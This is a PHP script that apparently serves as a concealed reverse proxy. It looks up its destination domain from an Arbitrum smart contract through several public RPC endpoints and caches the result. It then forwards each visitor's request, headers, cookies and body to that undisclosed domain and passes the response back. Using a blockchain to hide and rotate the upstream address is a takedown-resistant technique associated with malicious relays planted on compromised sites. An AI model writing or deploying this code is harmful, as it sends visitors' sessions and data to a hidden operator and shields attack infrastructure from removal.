<?php
$cacheFile = __DIR__ . '/domain_cache.txt';
$domain = '';

if (file_exists($cacheFile) && (time() - filemtime($cacheFile)) < 900) {
    $domain = trim(file_get_contents($cacheFile));
} else {
    $rpcs =[
        "https://arb1.arbitrum.io/rpc",
        "https://arbitrum.llamarpc.com",
        "https://rpc.ankr.com/arbitrum",
        "https://1rpc.io/arb",
        "https://arbitrum-one.publicnode.com"
    ];
    
    $contractAddress = "0xB4C99BFa893165D858EA7815Dc2de9f077B3A960";
    $methodId = "0x00000000";
    
    $payload = json_encode([
        "jsonrpc" => "2.0",
        "method" => "eth_call",
        "params" =>[["to" => $contractAddress, "data" => $methodId], "latest"],
        "id" => 1
    ]);

    foreach ($rpcs as $rpc) {
        $ch = curl_init($rpc);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
        curl_setopt($ch, CURLOPT_HTTPHEADER,['Content-Type: application/json']);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        $response = curl_exec($ch);
        curl_close($ch);
        
        if ($response) {
            $json = json_decode($response, true);
            if (isset($json['result']) && strlen($json['result']) >= 130) {
                $length = hexdec(substr($json['result'], 66, 64));
                $domain = hex2bin(substr($json['result'], 130, $length * 2));
                file_put_contents($cacheFile, $domain);
                break;
            }
        }
    }
}

if (empty($domain)) {
    http_response_code(502);
    exit;
}

$uri = $_SERVER['REQUEST_URI'];
$script = $_SERVER['SCRIPT_NAME'];

if (strpos($uri, $script . '?') === 0) {
    $uri = substr($uri, strlen($script) + 1);
} elseif (strpos($uri, $script) === 0) {
    $uri = substr($uri, strlen($script));
}

if (empty($uri) || $uri[0] !== '/') {
    $uri = '/' . ltrim($uri, '/');
}

$proxyUrl = "https://" . $domain . $uri;
$method = $_SERVER['REQUEST_METHOD'];
$headers =[];

foreach ($_SERVER as $key => $value) {
    $headerName = '';
    if (strpos($key, 'HTTP_') === 0) {
        $headerName = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($key, 5)))));
    } elseif ($key === 'CONTENT_TYPE') {
        $headerName = 'Content-Type';
    } elseif ($key === 'CONTENT_LENGTH') {
        $headerName = 'Content-Length';
    }

    if ($headerName !== '') {
        $lowerHeaderName = strtolower($headerName);
        if (
            $lowerHeaderName !== 'host'
            && $lowerHeaderName !== 'x-forwarded-for'
            && $lowerHeaderName !== 'x-real-ip'
            && $lowerHeaderName !== 'cf-connecting-ip'
            && $lowerHeaderName !== 'true-client-ip'
            && $lowerHeaderName !== 'x-client-ip'
        ) {
            $headers[] = $headerName . ": " . $value;
        }
    }
}

/**
 * Real client IP when this script sits behind Cloudflare / another reverse proxy.
 */
function resolveClientIp(): string
{
    if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return trim((string) $_SERVER['HTTP_CF_CONNECTING_IP']);
    }
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $parts = explode(',', (string) $_SERVER['HTTP_X_FORWARDED_FOR']);
        $ip = trim($parts[0]);
        if ($ip !== '') {
            return $ip;
        }
    }
    if (!empty($_SERVER['HTTP_X_REAL_IP'])) {
        return trim((string) $_SERVER['HTTP_X_REAL_IP']);
    }

    return (string) ($_SERVER['REMOTE_ADDR'] ?? '127.0.0.1');
}

$clientIp = resolveClientIp();
$proxyHop = (string) ($_SERVER['REMOTE_ADDR'] ?? '');

$headers[] = 'X-Client-IP: ' . $clientIp;
$headers[] = 'X-Real-IP: ' . $clientIp;

$xForwardedFor = $clientIp;
if ($proxyHop !== '' && $proxyHop !== $clientIp) {
    $xForwardedFor .= ', ' . $proxyHop;
}
$headers[] = 'X-Forwarded-For: ' . $xForwardedFor;

$requestBody = file_get_contents('php://input');

$ch = curl_init($proxyUrl);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

if ($method !== 'GET' && $method !== 'HEAD') {
    curl_setopt($ch, CURLOPT_POSTFIELDS, $requestBody);
}

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (curl_errno($ch)) {
    http_response_code(502);
    curl_close($ch);
    exit;
}

$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$responseHeaders = substr($response, 0, $headerSize);
$responseBody = substr($response, $headerSize);
curl_close($ch);

http_response_code($httpCode);

$headersArray = explode("\r\n", $responseHeaders);
foreach ($headersArray as $header) {
    if (strlen($header) > 0 && strpos($header, 'HTTP/') !== 0) {
        $headerName = strtolower(explode(':', $header)[0]);
        if ($headerName !== 'transfer-encoding') {
            header($header, false);
        }
    }
}

echo $responseBody;